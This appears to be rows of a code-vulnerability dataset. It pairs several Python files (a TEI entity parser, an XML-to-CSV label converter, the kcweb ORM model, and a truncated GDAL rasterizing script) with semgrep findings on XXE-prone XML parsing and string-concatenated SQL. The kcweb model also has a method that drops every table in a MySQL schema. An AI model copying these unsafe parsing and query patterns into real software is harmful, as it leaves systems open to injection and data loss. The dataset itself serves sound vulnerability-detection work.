XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace"
XML = "{%s}" % XML_NAMESPACE
NSMAP = {None: TEI_NAMESPACE, "xml": XML_NAMESPACE}
def __init__(self, element):
self.namespaces = {"tei": "http://www.tei-c.org/ns/1.0",
"xml": "http://www.w3.org/XML/1998/namespace"}
self._xml = element
self.id = element.xpath('./@xml:id',
namespaces=self.namespaces)[0]
self.idno = {}
idnos = element.xpath('./tei:idno',
namespaces=self.namespaces)
for idno in idnos:
type = idno.get("type")
if type:
self.idno[type] = idno.text
def same_as(self, entity):
if (type(self) == type(entity) and
[k for k in entity.idno.keys() if k in self.idno.keys() and
entity.idno[k] == self.idno[k]]):
return True
else:
return False
class Place(Entity):
def __init__(self, element):
super().__init__(element)
name = element.xpath('./tei:placeName', namespaces=self.namespaces)
if name:
self.name = name[0].text
self.coordinates = ""
geo = element.xpath('./tei:location/tei:geo',
namespaces=self.namespaces)
if geo:
self.coordinates = geo[0].text
description = element.xpath('./tei:desc',
namespaces=self.namespaces)
if description:
self.description = description[0].text
class Person(Entity):
def __init__(self, element):
super().__init__(element)
name = element.xpath('./tei:persName', namespaces=self.namespaces)
if name:
self.name = name[0].text
class Event(Entity):
def __init__(self, element):
super().__init__(element)
description = element.xpath('./tei:desc',
namespaces=self.namespaces)
if description:
self.description = description[0].text
class Org(Entity):
def __init__(self, element):
super().__init__(element)
name = element.xpath('./tei:orgName', namespaces=self.namespaces)
if name:
self.name = name[0].text
'''
Dates are different from the other entities: they do not have ids. So
they are not a subclass of the Entity class, and must duplicate some of
Entity's init code.
'''
class Date():
TEI_NAMESPACE = "http://www.tei-c.org/ns/1.0"
TEI = "{%s}" % TEI_NAMESPACE
XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace"
XML = "{%s}" % XML_NAMESPACE
NSMAP = {None: TEI_NAMESPACE, "xml": XML_NAMESPACE}
def __init__(self, element):
self.namespaces = {"tei": "http://www.tei-c.org/ns/1.0",
"xml": "http://www.w3.org/XML/1998/namespace"}
self._xml = element
when = element.xpath('./@when', namespaces=self.namespaces)
when_iso = element.xpath('./@when-iso', namespaces=self.namespaces)
if when:
self.when = when[0]
elif when_iso:
self.when = when_iso[0]
else:
self.when = element.xpath('./text()',
namespaces=self.namespaces)[0]
def same_as(self, entity):
if (type(self) == type(entity) and entity.when == self.when):
return True
else:
return False
| 112 | 31.71 | 75 | 16 | 879 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_85f24a3d65a38128_9f1d9258", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/85f24a3d65a38128.py", "start": {"line": 2, "col": 1, "offset": 24}, "end": {"line": 2, "col": 35, "offset": 58}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
2
] | [
2
] | [
1
] | [
35
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | entities.py | /src/ddhi_aggregator/entities/entities.py | agile-humanities/ddhi-aggregator | MIT | |
2024-11-18T18:39:45.823818+00:00 | 1,542,662,335,000 | 586bdc3ee7abb02109945311c563ca2d20c8e37e | 3 | {
"blob_id": "586bdc3ee7abb02109945311c563ca2d20c8e37e",
"branch_name": "refs/heads/master",
"committer_date": 1542662335000,
"content_id": "599964c880ca0f346cb09b12db46ddb4db3bd135",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "37e9e6257a667eecb079e3757e5c540a039ec51d",
"extension": "py",
"filename": "xml_to_csv.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 158114744,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6816,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/Pre-Processing/Augmentation_Toolkit/xml_to_csv.py",
"provenance": "stack-edu-0054.json.gz:570079",
"repo_name": "beric7/COCO-Bridge",
"revision_date": 1542662335000,
"revision_id": "c3ae8e5eb72cbc2fce982215c55bac09844764d8",
"snapshot_id": "8bfe4d64ae564c1bec6dc9455550c23c749765c8",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/beric7/COCO-Bridge/c3ae8e5eb72cbc2fce982215c55bac09844764d8/Pre-Processing/Augmentation_Toolkit/xml_to_csv.py",
"visit_date": "2020-04-07T05:54:07.666964"
} | 2.609375 | stackv2 | # 1_xml_to_csv.py
# Note: substantial portions of this code, expecially the actual XML to CSV conversion, are credit to Dat Tran
# see his website here: https://towardsdatascience.com/how-to-train-your-own-object-detector-with-tensorflows-object-detector-api-bec72ecfe1d9
# and his GitHub here: https://github.com/datitran/raccoon_dataset/blob/master/xml_to_csv.py
import os
import glob
import pandas as pd
import xml.etree.ElementTree as ET
#////////////////////////////////////////////
Model = "#6-NFS_4c_5000s1e"
#\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
# module level variables ##############################################################################################
# train and test directories
TRAINING_IMAGES_DIR = os.getcwd() + '\\Data_photo\\Original_Files\\Train'
TEST_IMAGES_DIR = os.getcwd() + '\\Data_photo\\Original_Files\\Eval'
MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING = 10
MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING = 100
MIN_NUM_IMAGES_REQUIRED_FOR_TESTING = 3
pwd = "C://Users/Eric Bianchi/Documents/Virginia Tech/Graduate School/Research/" + Model + "/Pre-Processing"
# output .csv file names/locations
TRAINING_DATA_DIR = pwd + "/" + "training_data"
TRAIN_CSV_FILE_LOC = TRAINING_DATA_DIR + "/" + "train_labels.csv"
EVAL_CSV_FILE_LOC = TRAINING_DATA_DIR + "/" + "eval_labels.csv"
#######################################################################################################################
def main():
if not checkIfNecessaryPathsAndFilesExist():
return
# end if
# if the training data directory does not exist, create it
try:
if not os.path.exists(TRAINING_DATA_DIR):
os.makedirs(TRAINING_DATA_DIR)
# end if
except Exception as e:
print("unable to create directory " + TRAINING_DATA_DIR + "error: " + str(e))
# end try
# convert training xml data to a single .csv file
print("converting xml training data . . .")
trainCsvResults = xml_to_csv(TRAINING_IMAGES_DIR)
trainCsvResults.to_csv(TRAIN_CSV_FILE_LOC, index=None)
print("training xml to .csv conversion successful, saved result to " + TRAIN_CSV_FILE_LOC)
# convert test xml data to a single .csv file
print("converting xml test data . . .")
testCsvResults = xml_to_csv(TEST_IMAGES_DIR)
testCsvResults.to_csv(EVAL_CSV_FILE_LOC, index=None)
print("test xml to .csv conversion successful, saved result to " + EVAL_CSV_FILE_LOC)
# end main
#######################################################################################################################
def checkIfNecessaryPathsAndFilesExist():
if not os.path.exists(TRAINING_IMAGES_DIR):
print('')
print('ERROR: the training images directory "' + TRAINING_IMAGES_DIR + '" does not seem to exist')
print('Did you set up the training images?')
print('')
return False
# end if
# get a list of all the .jpg / .xml file pairs in the training images directory
trainingImagesWithAMatchingXmlFile = []
for fileName in os.listdir(TRAINING_IMAGES_DIR):
if fileName.endswith(".JPG"):
xmlFileName = os.path.splitext(fileName)[0] + ".xml"
if os.path.exists(os.path.join(TRAINING_IMAGES_DIR, xmlFileName)):
trainingImagesWithAMatchingXmlFile.append(fileName)
# end if
# end if
# end for
# show an error and return false if there are no images in the training directory
if len(trainingImagesWithAMatchingXmlFile) <= 0:
print("ERROR: there don't seem to be any images and matching XML files in " + TRAINING_IMAGES_DIR)
print("Did you set up the training images?")
return False
# end if
# show an error and return false if there are not at least 10 images and 10 matching XML files in TRAINING_IMAGES_DIR
if len(trainingImagesWithAMatchingXmlFile) < MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING:
print("ERROR: there are not at least " + str(MIN_NUM_IMAGES_REQUIRED_FOR_TRAINING) + " images and matching XML files in " + TRAINING_IMAGES_DIR)
print("Did you set up the training images?")
return False
# end if
# show a warning if there are not at least 100 images and 100 matching XML files in TEST_IMAGES_DIR
if len(trainingImagesWithAMatchingXmlFile) < MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING:
print("WARNING: there are not at least " + str(MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING) + " images and matching XML files in " + TRAINING_IMAGES_DIR)
print("At least " + str(MIN_NUM_IMAGES_SUGGESTED_FOR_TRAINING) + " image / xml pairs are recommended for bare minimum acceptable results")
# note we do not return false here b/c this is a warning, not an error
# end if
if not os.path.exists(TEST_IMAGES_DIR):
print('ERROR: TEST_IMAGES_DIR "' + TEST_IMAGES_DIR + '" does not seem to exist')
return False
# end if
# get a list of all the .jpg / .xml file pairs in the test images directory
testImagesWithAMatchingXmlFile = []
for fileName in os.listdir(TEST_IMAGES_DIR):
if fileName.endswith(".JPG"):
xmlFileName = os.path.splitext(fileName)[0] + ".xml"
if os.path.exists(os.path.join(TEST_IMAGES_DIR, xmlFileName)):
testImagesWithAMatchingXmlFile.append(fileName)
# end if
# end if
# end for
# show an error and return false if there are not at least 3 images and 3 matching XML files in TEST_IMAGES_DIR
if len(testImagesWithAMatchingXmlFile) <= 3:
print("ERROR: there are not at least " + str(MIN_NUM_IMAGES_REQUIRED_FOR_TESTING) + " image / xml pairs in " + TEST_IMAGES_DIR)
print("Did you separate out the test image / xml pairs from the training image / xml pairs?")
return False
# end if
return True
# end function
#######################################################################################################################
def xml_to_csv(path):
xml_list = []
for xml_file in glob.glob(path + '/*.xml'):
tree = ET.parse(xml_file)
root = tree.getroot()
for member in root.findall('object'):
value = (root.find('filename').text, int(root.find('size')[0].text), int(root.find('size')[1].text), member[0].text,
int(member[4][0].text), int(member[4][1].text), int(member[4][2].text), int(member[4][3].text))
xml_list.append(value)
# end for
# end for
column_name = ['filename', 'width', 'height', 'class', 'xmin', 'ymin', 'xmax', 'ymax']
xml_df = pd.DataFrame(xml_list, columns=column_name)
return xml_df
# end function
#######################################################################################################################
if __name__ == "__main__":
main()
| 150 | 44.44 | 155 | 18 | 1,574 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_97185584b9575e32_ecf320b0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/97185584b9575e32.py", "start": {"line": 10, "col": 1, "offset": 409}, "end": {"line": 10, "col": 35, "offset": 443}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_97185584b9575e32_f22a0389", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(xml_file)", "location": {"file_path": "unknown", "line_start": 134, "line_end": 134, "column_start": 16, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmpb8jm_z1l/97185584b9575e32.py", "start": {"line": 134, "col": 16, "offset": 6067}, "end": {"line": 134, "col": 34, "offset": 6085}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(xml_file)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
10,
134
] | [
10,
134
] | [
1,
16
] | [
35,
34
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The native Python `xml` library is vulnerable to XML Exter... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | xml_to_csv.py | /Pre-Processing/Augmentation_Toolkit/xml_to_csv.py | beric7/COCO-Bridge | Apache-2.0 | |
2024-11-18T18:39:51.074795+00:00 | 1,585,944,162,000 | 50f22674d0372824148186701b8793b239bd069d | 2 | {
"blob_id": "50f22674d0372824148186701b8793b239bd069d",
"branch_name": "refs/heads/master",
"committer_date": 1585944162000,
"content_id": "4bfdc473175bd89a3a37039cc196a0a0defa7d29",
"detected_licenses": [
"MIT"
],
"directory_id": "483caeb81061387fe1097bb6bc0e13778985c213",
"extension": "py",
"filename": "model.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 247104353,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6357,
"license": "MIT",
"license_type": "permissive",
"path": "/utill/db/model.py",
"provenance": "stack-edu-0054.json.gz:570106",
"repo_name": "fengshukun/kcweb",
"revision_date": 1585944162000,
"revision_id": "313bce537818f0152a363101c91bf2eed50e9502",
"snapshot_id": "5121f20ff6d97cb3e6c1c2959f844ea84cbe77eb",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fengshukun/kcweb/313bce537818f0152a363101c91bf2eed50e9502/utill/db/model.py",
"visit_date": "2021-03-18T22:07:40.258494"
} | 2.3125 | stackv2 | # -*- coding: utf-8 -*-
from .mysql import mysql
from .sqlite import sqlite
from kcweb import config
from kcweb import common
class model:
table=None
fields={}
__db=None
config=config.database
def __init__(self):
if not self.table:
self.table=self.__class__.__name__
self.__db=common.M(self.table,self.config)
def create_table(self):
"创建表"
sqlist=[]
for k in self.fields.keys():
sqlist.append(k+" "+self.fields[k])
# print(self.table)
sqls="create table "+self.table+" ("
for k in sqlist:
sqls=sqls+k+", "
sqls=sqls[:-2]+")"
# print(sqls)
self.__db.execute(sqls)
def find(self):
return self.__db.find()
def select(self):
lists=self.__db.select()
# print(lists)
return lists
def insert(self,data):
return self.__db.insert(data)
def update(self,data):
return self.__db.update(data)
def startTrans(self):
"开启事务,仅对 update方法、delete方法、install方法有效"
self.__db.startTrans()
def commit(self):
"""事务提交
增删改后的任务进行提交
"""
self.__db.commit()
def rollback(self):
"""事务回滚
增删改后的任务进行撤销
"""
self.__db.rollback()
def where(self,where = None,*wheres):
"""设置过滤条件
传入方式:
"id",2 表示id='2'
"id","in",2,3,4,5,6,...表示 id in (2,3,4,5,6,...)
"id","or",2,3,4,5,6,...表示 id=2 or id=3 or id=4...
[("id","gt",6000),"and",("name","like","%超")] 表示 ( id > "6000" and name LIKE "%超" )
"id","eq",1 表示 id = '1'
eq 等于
neq 不等于
gt 大于
egt 大于等于
lt 小于
elt 小于等于
like LIKE
"""
self.__db.where(where,*wheres)
return self
def field(self,field = "*"):
"""设置过滤显示条件
参数 field:str 字符串
"""
self.__db.field(field)
return self
__limit=[]
def limit(self,offset, length = None):
"""设置查询数量
参数 offset:int 起始位置
参数 length:int 查询数量
"""
self.__db.limit(offset, length)
return self
def order(self,strs=None,*strs1):
"""设置排序查询
传入方式:
"id desc"
"id",'name','appkey','asc'
"id",'name','appkey' 不包含asc或desc的情况下 默认是desc
['id','taskid',{"task_id":"desc"}]
"""
self.__db.order(strs=None,*strs1)
return self
__distinct=None
def distinct(self,bools=None):
"用于返回唯一不同的值,配合field方法使用生效,消除所有重复的记录,并只获取唯一一次记录。"
self.__db.distinct(bools)
return self
def deltableall(self):
"删除当前数据库所有表格 mysql有效"
if self.conf['type']=='mysql':
a=self.__db.execute("SELECT concat('DROP TABLE IF EXISTS ', table_name, ';') FROM information_schema.tables WHERE table_schema = 'core1';")
for k in a:
self.__db.execute(k["concat('DROP TABLE IF EXISTS ', table_name, ';')"])
class dbtype:
conf=model.config
def int(LEN=16,DEFAULT=False,NULL=False,UNIQUE=False,PRI=False,A_L=False):
# print(dbtype.conf['type'])
if dbtype.conf['type']=='mysql':
strs="INT("+str(LEN)+")"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if PRI:
strs=strs+" PRIMARY KEY"
if A_L:
strs=strs+" AUTO_INCREMENT"
else:
strs="INTEGER"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if PRI:
strs=strs+" PRIMARY KEY"
if A_L:
strs=strs+" AUTOINCREMENT"
return strs
def varchar(LEN=32,DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False,FULLTEXT=False):
strs="VARCHAR("+str(LEN)+")"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
elif DEFAULT=='':
strs=strs+" DEFAULT ''"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if INDEX:
strs=strs+" INDEX"
if FULLTEXT:
strs=strs+" FULLTEXT"
return strs
def text(NULL=False):
if dbtype.conf['type']=='mysql':
strs="TEXT CHARACTER SET utf8 COLLATE utf8_general_ci"
else:
strs="TEXT"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
return strs
def char(LEN=16,DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False):
strs=" CHAR("+str(LEN)+")"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
elif DEFAULT=='':
strs=strs+" DEFAULT ''"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if INDEX:
strs=strs+" INDEX"
return strs
def decimat(LEN="10,2",DEFAULT=False,NULL=False,UNIQUE=False,INDEX=False):
"小数类型"
strs="DECIMAL("+str(LEN)+")"
if DEFAULT:
strs=strs+" DEFAULT "+str(DEFAULT)
elif DEFAULT=='':
strs=strs+" DEFAULT ''"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
if UNIQUE:
strs=strs+" UNIQUE"
if INDEX:
strs=strs+" INDEX"
return strs
def date(NULL=False):
strs=" DATE"
if NULL:
strs=strs+" NULL"
else:
strs=strs+" NOT NULL"
return strs | 220 | 26.09 | 151 | 16 | 1,534 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_b70349a0fc9c0d61_33036c45", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 9, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/b70349a0fc9c0d61.py", "start": {"line": 26, "col": 9, "offset": 693}, "end": {"line": 26, "col": 32, "offset": 716}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
26
] | [
26
] | [
9
] | [
32
] | [
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | model.py | /utill/db/model.py | fengshukun/kcweb | MIT | |
2024-11-18T18:39:53.311843+00:00 | 1,580,852,926,000 | 958f46fec4a640ce0c7042179a055a7d51cecb9b | 2 | {
"blob_id": "958f46fec4a640ce0c7042179a055a7d51cecb9b",
"branch_name": "refs/heads/master",
"committer_date": 1580852926000,
"content_id": "67a9ac31ba869a4a1666c09d36ee11e7b35d3f14",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "dd2a5af3cb7338cf434626d46be64cf76be306ce",
"extension": "py",
"filename": "CLUS_GDAL_Rasterize_VRI.py",
"fork_events_count": 0,
"gha_created_at": 1580862063000,
"gha_event_created_at": 1580862064000,
"gha_language": null,
"gha_license_id": "Apache-2.0",
"github_id": 238334889,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7845,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/Python/VRI/CLUS_GDAL_Rasterize_VRI.py",
"provenance": "stack-edu-0054.json.gz:570132",
"repo_name": "ElizabethKleynhans/clus",
"revision_date": 1580852926000,
"revision_id": "a02aef861712ab62bb5b5877208a138e0074e365",
"snapshot_id": "2eef129f192ab175c429100106349964e791da63",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/ElizabethKleynhans/clus/a02aef861712ab62bb5b5877208a138e0074e365/Python/VRI/CLUS_GDAL_Rasterize_VRI.py",
"visit_date": "2020-12-28T12:36:54.419886"
} | 2.421875 | stackv2 | #-------------------------------------------------------------------------------
# Name: CLUS_GDAL_Rasterize_VRI
# Purpose: This script is designed to read a list of input PostGIS source
# Vectors and Rasterize them to GeoTiff using GDAL Rasterize and
# then load them into PostGIS as rasters using raster2pgsql
#
# Author: Mike Fowler
# Spatial Data Analyst
# Forest Analysis and Inventory Branch - BC Government
# Workflow developed by Kyle Lochhead, converted into Python Script
#
# Created: 30-01-2019
#
#-------------------------------------------------------------------------------
import os, sys, subprocess
import shutil, getpass, datetime
#--Globals
global kennyloggins
pfx = os.path.basename(os.path.splitext(sys.argv[0])[0])
logTime = ''
def send_email(user, pwd, recipient, subject, body):
import smtplib
FROM = user
TO = recipient if isinstance(recipient, list) else [recipient]
SUBJECT = subject
TEXT = body
# Prepare actual message
message = """From: %s\nTo: %s\nSubject: %s\n\n%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
try:
#server = smtplib.SMTP("smtp.gmail.com", 587)
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.ehlo()
#server.starttls()
server.login(user, pwd)
server.sendmail(FROM, TO, message)
server.close()
WriteLog(kennyloggins, 'Successfully sent the mail')
except Exception as e:
WriteLog(kennyloggins, "****Failed to send mail****")
def WriteOutErrors(lstErrors):
errLog = os.path.join(os.path.dirname(sys.argv[0]), pfx + logTime + ".errors.log")
fLog = open(errLog, 'w')
lstLog = []
lstLog.append("------------------------------------------------------------------\n")
lstLog.append("Error Log file for {0}\n".format(sys.argv[0]))
lstLog.append("Date:{0} \n".format(datetime.datetime.now().strftime("%B %d, %Y - %H%M")))
lstLog.append("User:{}\n".format(getpass.getuser()))
lstLog.append("\n")
lstLog.append("------------------------------------------------------------------\n")
sLog = ''.join(lstLog)
fLog.write(sLog)
fLog.write("List of Errors from Script------------------------------------------------------------\n")
for err in lstErrors:
fLog.write('{0}\n'.format(str(err)))
fLog.write("------------------------------------------------------------------\n")
fLog.close()
def CreateLogFile(bMsg=False):
global logTime
